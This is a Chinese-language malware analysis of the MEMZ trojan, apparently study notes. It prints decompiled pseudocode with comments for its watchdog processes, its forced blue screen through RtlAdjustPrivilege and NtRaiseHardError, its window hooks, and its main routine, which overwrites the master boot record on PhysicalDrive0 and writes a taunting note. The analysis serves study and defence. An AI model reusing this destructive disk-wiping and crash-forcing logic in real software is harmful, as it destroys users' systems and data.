彩虹猫的分析和梳理
彩虹猫分析
现象
- 自动弹出多个浏览器搜索窗口
- 鼠标异常晃动
- 窗口颜色怪异
- 反复出现系统提示音
- 出现6个MEMZ进程
发现调用CryptGenRandom函数
查输入表
控制光标
播放声音
打开外部程序
DrawIcon --绘制图标
窗口颜色异常--BitBlt、StretchBlt
调用GetCommandLine和CommandLineToArgv两个函数获取命令行参数,之后进入if判断有无参数:
两个部分:
有参数部分
"/watchdog"
sub_40114A 监测进程有没有减少,进程减少就会蓝屏关机
void sub_40114A()
{
HANDLE v1; // eax
HANDLE v2; // edi
const CHAR *v3; // ebx
int v4; // esi
PROCESSENTRY32W pe; // [esp+Ch] [ebp-23Ch]
LPCSTR lpString1; // [esp+238h] [ebp-10h]
int v7; // [esp+23Ch] [ebp-Ch]
LPCSTR lpString2; // [esp+240h] [ebp-8h]
HANDLE hProcess; // [esp+244h] [ebp-4h]
int savedregs; // [esp+248h] [ebp+0h]
v7 = 0;
lpString1 = (LPCSTR)LocalAlloc(0x40u, 0x200u);// 该函数用于从局部堆中分配内存供程序使用
v1 = GetCurrentProcess(); // 获取当前进程的一个伪句柄
GetProcessImageFileNameA(v1, (LPSTR)lpString1, 0x200u);// 获取进程路径
Sleep(0x3E8u);
while ( 1 )//死循环
{
v2 = CreateToolhelp32Snapshot(2u, 0); // 获取进程快照。
pe.dwSize = 556;
Process32FirstW(v2, &pe); // 获得第一个进程的句柄
v3 = lpString1;
v4 = 0;
do
{
hProcess = OpenProcess(0x400u, 0, pe.th32ProcessID);// 用来打开一个已存在的进程对象,并返回进程的句柄
lpString2 = (LPCSTR)LocalAlloc(0x40u, 0x200u);
GetProcessImageFileNameA(hProcess, (LPSTR)lpString2, 0x200u);
if ( !lstrcmpA(v3, lpString2) ) // 对比进程路径
++v4; // 进程数目
CloseHandle(hProcess);
LocalFree((HLOCAL)lpString2);
}
while ( Process32NextW(v2, &pe) );
CloseHandle(v2);
if ( v4 < v7 ) // 对比进程数目,v7是最大进程数目
sub_401021((int)&savedregs); // 创建线程并导致关机
v7 = v4;
Sleep(10u);
}
}
sub_401021 创建线程并导致蓝屏关机
sub_401021()
{
v1 = 20;
do
{
CreateThread(0, 0x1000u, StartAddress, 0, 0, 0);// 创建了20个进程
Sleep(0x64u);
--v1;
}
while ( v1 );
v2 = v16;
v16 = a1;
v9 = v2;
v3 = LoadLibraryA("ntdll"); // 将指定的模块加载到调用进程的地址空间中
v4 = GetProcAddress(v3, "RtlAdjustPrivilege");// 检索指定的动态链接库(DLL)中的输出库函数地址
v5 = GetProcAddress(v3, "NtRaiseHardError");
//RtlAdjustPrivilege提权后
//NtRaiseHardError制造系统蓝屏
v6 = (void (__cdecl *)(_DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD))v5;
if ( v4 && v5 )
{
((void (__cdecl *)(signed int, signed int, _DWORD, char *, int, int))v4)(19, 1, 0, (char *)&v15 + 3, v15, v9);
v6(-1073741790, 0, 0, 0, 6, &v13);
}
v7 = GetCurrentProcess(); // 返回当前线程的虚拟句柄
OpenProcessToken(v7, 0x28u, &v14); // 用来打开与进程相关联的访问令牌
LookupPrivilegeValueW(0, L"SeShutdownPrivilege", (PLUID)&v11);// 查看系统权限的特权值,返回信息到一个LUID结构体里
//SeShutdownPrivilege关机
v10 = 1;
v12 = 2;
AdjustTokenPrivileges(v14, 0, (PTOKEN_PRIVILEGES)&v10, 0, 0, 0);// 用于启用或禁止,指定访问令牌的特权
return ExitWindowsEx(6u, 0x10007u); // 用来退出、重启或注销系统
}
在分析sub_401021时,StartAddress这个函数没有办法进去看。输出窗口有一条报错信息。
到汇编窗口看这个函数存在堆栈不平衡所以没法反汇编,不过可以直接看它用了什么函数和参数
fn 、sub_401A55、dword_402AD0
GetCurrentThreadId、SetWindowsHookExW、UnhookWindowsHookEx
输出线程id、对窗口下钩子、卸载钩子
fn 随机窗口大小,生成窗口
LRESULT __thiscall fn(void *this, int code, WPARAM wParam, LPARAM lParam)
{
if ( code == 3 )
{
v4 = *(_DWORD **)lParam;
if ( *(_DWORD *)(*(_DWORD *)lParam + 32) & 0x80400000 )
{
v5 = sub_401A55((int)this); // 生成随机数
v6 = dword_405184 - v4[5];
v7 = v5 % v6;
v8 = sub_401A55(v6);
v9 = dword_405188 - v4[4];
v4[7] = v7;
v4[6] = v8 % v9;
}
}
return CallNextHookEx(0, code, wParam, lParam);// 调用下一个钩子
}
sub_401A55 生成随机数
int __fastcall sub_401A55(int a1)
{
HCRYPTPROV v1; // eax
BYTE pbBuffer[4]; // [esp+0h] [ebp-4h]
*(_DWORD *)pbBuffer = a1;
v1 = hProv;
if ( !hProv )
{
if ( !CryptAcquireContextW(&hProv, (LPCWSTR)hProv, (LPCWSTR)hProv, 1u, 0xF0000040) )
ExitProcess(1u);
v1 = hProv;
}
CryptGenRandom(v1, 4u, pbBuffer); // 生成随机数
return *(_DWORD *)pbBuffer & 0x7FFFFFFF;
}
dword_402AD0=1A
lpText 该参数存放的是一些消息,利用v3获取的随机数从26条消息中取出一条显示出来
sub_401000 msg=16/22时(窗口被关闭)会被强制关机
LRESULT __stdcall sub_401000(HWND hWnd, UINT Msg, WPARAM wParam, LPARAM lParam)
{
int savedregs; // [esp+0h] [ebp+0h]
if ( Msg != 0x10 && Msg != 0x16 ) // 对应WM_CLOSE(当一个窗口或应用程序要关闭时发送一个信号)和WM_ENDSESSION(当系统颜色改变时,发送此消息给所有顶级窗口)
return DefWindowProcW(hWnd, Msg, wParam, lParam);// 默认窗口处理函数
sub_401021((int)&savedregs); // 创建线程并使蓝屏关机
return 0;
}
无参数部分
可以看到一开始运行病毒弹的消息窗口的内容
两个弹窗都被确认,使用GetModuleFileNameW获取当前进程的路径,当然由LocalAlloc先申请存路径的空间。然后做5次循环,每次都调用ShellExecuteW,参数v10是刚才得到的样本进程路径,以及字符串"/watchdog",即以“/watchdog”为参数,生成5个MEMZ.exe进程。
此时无参变有参然后程序继续运行
接下来ShellExecute函数生成了,一个参数为main的进程。
main部分
v2 = CreateFileA("\\\\.\\PhysicalDrive0", 0xC0000000, 3u, 0, 3u, 0, 0);
// CreateFileA打开文件或I/O设备 //PhysicalDrive0表示本机的物理驱动器0
//首先打开PhysicalDrive0磁盘
hObject = v2;
if ( v2 == (HANDLE)-1 )
{
v12 = 2
}
else
{
v3 = 0;
v4 = LocalAlloc(0x40u, 0x10000u);//从堆中分配0x10000个字节
v5 = v4;
do
{
++v3;
*v5 = v5[byte_402118 - v4];//循环303次写入303字节
++v5;
}
while ( v3 < 303 );
//MBR的前446字节为启动代码,写入的303字节会覆盖MBR的启动代码部分。
//此操作直接破坏了MBR,如此一来无法将控制权转交给操作系统,而是执行病毒写入数据
v6 = 0;
do
{
v4[v6 + 510] = byte_402248[v6];
//循环1952次写入1952字节,从510偏移处开始向后写入,这次应该是病毒内容
++v6;
}
while ( v6 < 1952 );
if ( !WriteFile(v2, v4, 0x10000u, &NumberOfBytesWritten, 0) )
JUMPOUT(unk_40139D);
CloseHandle(hObject);
这里前两个字节,0x55AA 是MBR的结束标志,表明这是有效的主引导扇区
然后是向note.txt中写入内容
v7 = CreateFileA("\\note.txt", 0xC0000000, 3u, 0, 2u, 0x80u, 0);
if ( v7 != (HANDLE)-1
&& WriteFile(
v7,
"YOUR COMPUTER HAS BEEN FUCKED BY THE MEMZ TROJAN.\r\n"
"\r\n"
"Your computer won't boot up again,\r\n"
"so use it as long as you can!\r\n"
"\r\n"
":D\r\n"
"\r\n"
"Trying to kill MEMZ will cause your system to be\r\n"
"destroyed instantly, so don't try it :D",
0xDAu,
&NumberOfBytesWritten,
0) )
{
CloseHandle(v7); // 关闭了一个线程句柄
ShellExecuteA(0, 0, "notepad", "\\note.txt", 0, 10);// 打开外部程序notepad
v8 = 0;
v9 = (DWORD *)&off_405130; // 存了十个有实际效果的函数
do
{
Sleep(v9[1]);
CreateThread(0, 0, (LPTHREAD_START_ROUTINE)sub_401A2B, v9, 0, 0);
// 调用上面的十个函数
++v8;
v9 += 2;
}
while ( v8 < 10 );
while ( 1 )
Sleep(10000u);
}
}
ExitProcess(v12);
}
off_405130 里面存放的函数如下 里面有调用光标有弹web窗口的...
sub_401A2B 实现函数调用
void __stdcall __noreturn sub_401A2B(LPVOID lpThreadParameter)
{
v1 = 0;
v2 = 0;
v3 = 0;
while ( 1 )
{
v4 = v1--;
if ( !v4 )
v1 = (*(int (__cdecl **)(int, int))lpThreadParameter)(v2++, v3);
++v3;
Sleep(0xAu);
}
}
以上就把这个病毒大致梳理了一遍,下面学习它的原理。